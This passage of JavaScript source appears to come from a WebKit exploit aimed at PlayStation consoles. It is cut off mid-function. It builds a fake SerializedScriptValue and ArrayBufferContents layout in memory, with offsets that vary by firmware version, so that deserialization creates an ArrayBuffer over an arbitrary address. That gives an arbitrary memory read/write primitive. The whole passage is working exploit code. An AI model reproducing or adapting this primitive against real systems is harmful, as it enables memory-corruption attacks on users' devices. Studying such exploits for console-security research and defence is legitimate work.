| 537 | // setup to make deserialization create an ArrayBuffer with an arbitrary buffer |
| 538 | // address |
| 539 | function make_ssv_data(ssv_buf, view, view_p, addr, size) { |
| 540 | // sizeof JSC::ArrayBufferContents |
| 541 | const size_abc = (() => { |
| 542 | if (is_ps4) { |
| 543 | return version >= 0x900 ? 0x18 : 0x20; |
| 544 | } else { |
| 545 | return version >= 0x300 ? 0x18 : 0x20; |
| 546 | } |
| 547 | })(); |
| 548 | |
| 549 | const data_len = 9; |
| 550 | // sizeof WTF::Vector<T> |
| 551 | const size_vector = 0x10; |
| 552 | // SSV offsets |
| 553 | const off_m_data = 8; |
| 554 | const off_m_abc = 0x18; |
| 555 | // view offsets |
| 556 | const voff_vec_abc = 0; // Vector<ArrayBufferContents> |
| 557 | const voff_abc = voff_vec_abc + size_vector; // ArrayBufferContents |
| 558 | const voff_data = voff_abc + size_abc; |
| 559 | |
| 560 | // WTF::Vector<unsigned char> |
| 561 | // write m_data |
| 562 | // m_buffer |
| 563 | ssv_buf.write64(off_m_data, view_p.add(voff_data)); |
| 564 | // m_capacity |
| 565 | ssv_buf.write32(off_m_data + 8, data_len); |
| 566 | // m_size |
| 567 | ssv_buf.write64(off_m_data + 0xc, data_len); |
| 568 | |
| 569 | // 6 is the serialization format version number for ps4 6.00. The format |
| 570 | // is backwards compatible and using a value less than the current version |
| 571 | // number used by a specific WebKit version is considered valid. |
| 572 | // |
| 573 | // See CloneDeserializer::isValid() from |
| 574 | // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.0x. |
| 575 | const CurrentVersion = 6; |
| 576 | const ArrayBufferTransferTag = 23; |
| 577 | view.write32(voff_data, CurrentVersion); |
| 578 | view[voff_data + 4] = ArrayBufferTransferTag; |
| 579 | view.write32(voff_data + 5, 0); |
| 580 | |
| 581 | // std::unique_ptr<WTF::Vector<JSC::ArrayBufferContents>> |
| 582 | // write m_arrayBufferContentsArray |
| 583 | ssv_buf.write64(off_m_abc, view_p.add(voff_vec_abc)); |
| 584 | // write WTF::Vector<JSC::ArrayBufferContents> |
| 585 | view.write64(voff_vec_abc, view_p.add(voff_abc)); |
| 586 | view.write32(voff_vec_abc + 8, 1); |
| 587 | view.write32(voff_vec_abc + 0xc, 1); |
| 588 | |
| 589 | if (size_abc === 0x20) { |
| 590 | // m_destructor, offset 0, leave as 0 |
| 591 | // m_shared, offset 8, leave as 0 |
| 592 | // m_data |
| 593 | view.write64(voff_abc + 0x10, addr); |
| 594 | // m_sizeInBytes |
| 595 | view.write32(voff_abc + 0x18, size); |
| 596 | } else { |